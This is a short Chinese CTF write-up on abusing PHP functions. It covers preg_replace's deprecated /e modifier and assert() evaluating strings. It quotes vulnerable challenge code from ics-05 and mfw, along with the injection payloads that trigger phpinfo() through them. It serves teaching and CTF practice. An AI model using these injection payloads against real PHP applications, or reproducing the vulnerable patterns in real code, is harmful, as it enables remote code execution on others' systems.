0%

CTF 关于php的函数利用

php函数


preg_replace \e 模式(PHP 5.5 开始废弃,PHP 7 直接移除)
1
2
3
4
5
preg_replace( pattern, string2 replacement, string3 tg, 'limit', 'count');
// 将tg中的pattern均替换成replacement

preg_replace( "/World/", "PHP", "Hello World!");
//输出 “Hello PHP!”

/e 修正符(modifier)是 PHP 的一个特性,使得 preg_replace() 将替换参数 replacement 当作 PHP 代码执行。在匹配到的字符串进行替换时,会先解析替换字符串,然后执行其中的 PHP 代码。

1
2
preg_replace('/bad/e', '"g" . (1 - 1 ). (1 - 1) . "d"', "he is a bad boy");
//he is a g00d boy

攻防世界 ics-05

1
2
3
4
5
6
7
8
9
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
} else {
die();
}

使用/e 执行替换时执行replacement 表达式
构造 pat = /test/e & rep = phpinfo() & sub = just test


bool assert(mixed $assertion,string $description])

$assertion 要验证的表达式
$description 可选 , 断言失败时输出的自定义描述信息,便于定位问题

攻防世界 mfw

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

由于assert 会直接执行表达式且 file 变量可控 考虑提前闭合引号注入
构造 ?page=') or phpinfo()

-------------到底咯QAQ嘎嘎-------------